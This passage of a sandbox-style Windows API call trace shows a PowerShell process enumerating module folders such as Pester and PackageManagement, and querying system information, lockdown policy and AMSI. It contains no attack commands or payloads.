lpFileName="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Appx\\*", lpFindFileData=0x99ae820 | out: lpFindFileData=0x99ae820) returned 0x8e351d0 [0111.747] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.747] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.747] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.747] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.747] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 0 [0111.747] FindFirstFileW (in: lpFileName="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Appx\\*", lpFindFileData=0x99ae86c | out: lpFindFileData=0x99ae86c) returned 0x8e35350 [0111.748] FindNextFileW (in: hFindFile=0x8e35350, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0111.748] FindNextFileW (in: hFindFile=0x8e35350, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0111.748] FindNextFileW (in: hFindFile=0x8e35350, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0111.748] FindNextFileW (in: hFindFile=0x8e35350, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0111.748] FindNextFileW (in: hFindFile=0x8e35350, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 0 [0111.748] FindFirstFileW (in: lpFileName="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\BitsTransfer\\*", lpFindFileData=0x99ae820 | out: lpFindFileData=0x99ae820) returned 0x8e351d0 [0111.748] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.749] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.749] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.749] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.749] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 0 [0111.749] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.749] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0111.750] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0111.750] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0111.750] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 0 [0111.805] FindNextFileW (in: hFindFile=0x8e34d50, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.805] FindNextFileW (in: hFindFile=0x8e34d50, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.805] FindNextFileW (in: hFindFile=0x8e34d50, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.805] FindNextFileW (in: hFindFile=0x8e34d50, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.805] FindNextFileW (in: hFindFile=0x8e34d50, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.805] FindNextFileW (in: hFindFile=0x8e34d50, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.805] FindNextFileW (in: hFindFile=0x8e34d50, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.806] FindNextFileW (in: hFindFile=0x8e34d50, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.806] FindNextFileW (in: hFindFile=0x8e34d50, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.806] FindNextFileW (in: hFindFile=0x8e34d50, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.806] FindNextFileW (in: hFindFile=0x8e34d50, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.806] FindNextFileW (in: hFindFile=0x8e34d50, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.806] FindNextFileW (in: hFindFile=0x8e34d50, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 0 [0111.808] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0113.806] CoTaskMemAlloc (cb=0x20c) returned 0x8e55ca0 [0113.806] GetSystemDirectoryW (in: lpBuffer=0x8e55ca0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0113.806] CoTaskMemFree (pv=0x8e55ca0) [0113.806] WldpGetLockdownPolicy () returned 0x0 [0113.806] GetSystemInfo (in: lpSystemInfo=0x99aea40 | out: lpSystemInfo=0x99aea40*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0113.806] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae9cc | out: phkResult=0x99ae9cc*=0x850) returned 0x0 [0113.806] RegQueryValueExW (in: hKey=0x850, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99ae9e8, lpData=0x0, lpcbData=0x99ae9e4*=0x0 | out: lpType=0x99ae9e8*=0x0, lpData=0x0, lpcbData=0x99ae9e4*=0x0) returned 0x2 [0113.807] RegCloseKey (hKey=0x850) returned 0x0 [0113.816] CoTaskMemAlloc (cb=0x20c) returned 0x8e53e70 [0113.816] GetSystemDirectoryW (in: lpBuffer=0x8e53e70, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0113.816] CoTaskMemFree (pv=0x8e53e70) [0113.816] WldpGetLockdownPolicy () returned 0x0 [0113.816] GetSystemInfo (in: lpSystemInfo=0x99aea20 | out: lpSystemInfo=0x99aea20*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0113.816] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae9ac | out: phkResult=0x99ae9ac*=0x84c) returned 0x0 [0113.816] RegQueryValueExW (in: hKey=0x84c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99ae9c8, lpData=0x0, lpcbData=0x99ae9c4*=0x0 | out: lpType=0x99ae9c8*=0x0, lpData=0x0, lpcbData=0x99ae9c4*=0x0) returned 0x2 [0113.816] RegCloseKey (hKey=0x84c) returned 0x0 [0113.816] CloseHandle (hObject=0x850) returned 1 [0113.817] CoCreateGuid (in: pguid=0x99aea8c | out: pguid=0x99aea8c*(Data1=0xf0f723c5, Data2=0xe3f3, Data3=0x4463, Data4=([0]=0xa2, [1]=0x6e, [2]=0x1a, [3]=0x24, [4]=0x20, [5]=0xb3, [6]=0xf4, [7]=0xad))) returned 0x0 [0113.817] AmsiScanString () returned 0x80070015 [0114.051] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.0\\PackageManagement.psd1", nBufferLength=0x105, lpBuffer=0x99ae38c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.0\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0114.077] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0114.077] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0114.077] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0114.077] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0114.077] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0114.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.077] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x105, lpBuffer=0x99ae600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x37 [0114.077] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\", nBufferLength=0x105, lpBuffer=0x99ae5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\", lpFilePart=0x0) returned 0x38 [0114.077] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\*", lpFindFileData=0x99ae820 | out: lpFindFileData=0x99ae820) returned 0x8e35250 [0114.078] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.078] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.078] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 0 [0114.078] FindClose (in: hFindFile=0x8e35250 | out: hFindFile=0x8e35250) returned 1 [0114.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.078] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x105, lpBuffer=0x99ae600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x37 [0114.078] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\", nBufferLength=0x105, lpBuffer=0x99ae5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\", lpFilePart=0x0) returned 0x38 [0114.078] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\*", lpFindFileData=0x99ae820 | out: lpFindFileData=0x99ae820) returned 0x8e35350 [0114.078] FindNextFileW (in: hFindFile=0x8e35350, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.078] FindNextFileW (in: hFindFile=0x8e35350, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.079] FindNextFileW (in: hFindFile=0x8e35350, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 0 [0114.079] FindClose (in: hFindFile=0x8e35350 | out: hFindFile=0x8e35350) returned 1 [0114.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea00) returned 1 [0114.079] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5", nBufferLength=0x105, lpBuffer=0x99ae508, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5", lpFilePart=0x0) returned 0x3d [0114.079] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\", nBufferLength=0x105, lpBuffer=0x99ae4dc, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\", lpFilePart=0x0) returned 0x3e [0114.079] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\*", lpFindFileData=0x99ae728 | out: lpFindFileData=0x99ae728) returned 0x8e35210 [0114.080] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.081] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.081] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.081] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.081] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.081] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.081] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.081] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.081] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.081] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.081] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.082] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.082] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.082] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.082] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.082] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 0 [0114.082] FindClose (in: hFindFile=0x8e35210 | out: hFindFile=0x8e35210) returned 1 [0114.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae9c0) returned 1 [0114.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae9cc) returned 1 [0114.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea00) returned 1 [0114.083] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5", nBufferLength=0x105, lpBuffer=0x99ae508, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5", lpFilePart=0x0) returned 0x3d [0114.083] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\", nBufferLength=0x105, lpBuffer=0x99ae4dc, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\", lpFilePart=0x0) returned 0x3e [0114.083] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\*", lpFindFileData=0x99ae728 | out: lpFindFileData=0x99ae728) returned 0x8e35210 [0114.083] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.084] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.084] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.084] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.084] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.084] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.084] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.084] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.084] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.084] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.084] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.085] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.085] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.085] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.085] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 1 [0114.085] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae738 | out: lpFindFileData=0x99ae738) returned 0 [0114.085] FindClose (in: hFindFile=0x8e35210 | out: hFindFile=0x8e35210) returned 1 [0114.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae9c0) returned 1 [0114.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae9cc) returned 1 [0114.086] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5", nBufferLength=0x105, lpBuffer=0x99ae52c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5", lpFilePart=0x0) returned 0x3d [0114.086] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5", nBufferLength=0x105, lpBuffer=0x99ae574, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5", lpFilePart=0x0) returned 0x3d [0114.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae9d0) returned 1 [0114.086] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5"), fInfoLevelId=0x0, lpFileInformation=0x99aea4c | out: lpFileInformation=0x99aea4c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x2d00b5ca, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x2f9eb934, ftLastAccessTime.dwHighDateTime=0x1d0bb00, ftLastWriteTime.dwLowDateTime=0x2f9eb934, ftLastWriteTime.dwHighDateTime=0x1d0bb00, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0114.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae9cc) returned 1 [0114.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea4c) returned 1 [0114.086] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5", nBufferLength=0x105, lpBuffer=0x99ae554, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5", lpFilePart=0x0) returned 0x3d [0114.086] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\", lpFilePart=0x0) returned 0x3e [0114.086] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\*", lpFindFileData=0x99ae774 | out: lpFindFileData=0x99ae774) returned 0x8e35210 [0114.087] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae784 | out: lpFindFileData=0x99ae784) returned 1 [0114.087] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae784 | out: lpFindFileData=0x99ae784) returned 1 [0114.087] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae784 | out: lpFindFileData=0x99ae784) returned 1 [0114.087] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae784 | out: lpFindFileData=0x99ae784) returned 1 [0114.087] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae784 | out: lpFindFileData=0x99ae784) returned 1 [0114.087] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae784 | out: lpFindFileData=0x99ae784) returned 1 [0114.087] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae784 | out: lpFindFileData=0x99ae784) returned 1 [0114.087] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae784 | out: lpFindFileData=0x99ae784) returned 1 [0114.087] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae784 | out: lpFindFileData=0x99ae784) returned 1 [0114.088] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae784 | out: lpFindFileData=0x99ae784) returned 1 [0114.088] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae784 | out: lpFindFileData=0x99ae784) returned 1 [0114.088] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae784 | out: lpFindFileData=0x99ae784) returned 1 [0114.088] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae784 | out: lpFindFileData=0x99ae784) returned 1 [0114.088] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae784 | out: lpFindFileData=0x99ae784) returned 1 [0114.088] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae784 | out: lpFindFileData=0x99ae784) returned 1 [0114.088] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae784 | out: lpFindFileData=0x99ae784) returned 0 [0114.088] FindClose (in: hFindFile=0x8e35210 | out: hFindFile=0x8e35210) returned 1 [0114.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aea0c) returned 1 [0114.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aea18) returned 1 [0114.089] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\3.3.5.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\3.3.5.psd1")) returned 0xffffffff [0114.089] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\3.3.5.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\3.3.5.psm1")) returned 0xffffffff [0114.090] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\3.3.5.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\3.3.5.cdxml")) returned 0xffffffff [0114.090] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\3.3.5.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\3.3.5.xaml")) returned 0xffffffff [0114.090] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\3.3.5.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\3.3.5.dll")) returned 0xffffffff [0114.090] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x105, lpBuffer=0x99ae66c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x37 [0114.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeac8) returned 1 [0114.090] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester"), fInfoLevelId=0x0, lpFileInformation=0x99aeb44 | out: lpFileInformation=0x99aeb44*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x2d00b5ca, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x2d00b5ca, ftLastAccessTime.dwHighDateTime=0x1d0bb00, ftLastWriteTime.dwLowDateTime=0x2d00b5ca, ftLastWriteTime.dwHighDateTime=0x1d0bb00, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0114.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb44) returned 1 [0114.090] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x105, lpBuffer=0x99ae64c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x37 [0114.090] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\", nBufferLength=0x105, lpBuffer=0x99ae620, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\", lpFilePart=0x0) returned 0x38 [0114.090] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\*", lpFindFileData=0x99ae86c | out: lpFindFileData=0x99ae86c) returned 0x8e35210 [0114.090] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0114.090] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0114.090] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 0 [0114.091] FindClose (in: hFindFile=0x8e35210 | out: hFindFile=0x8e35210) returned 1 [0114.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb04) returned 1 [0114.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb10) returned 1 [0114.091] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x105, lpBuffer=0x99ae68c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x49 [0114.091] SetThreadErrorMode (dwNewMode=0x1, 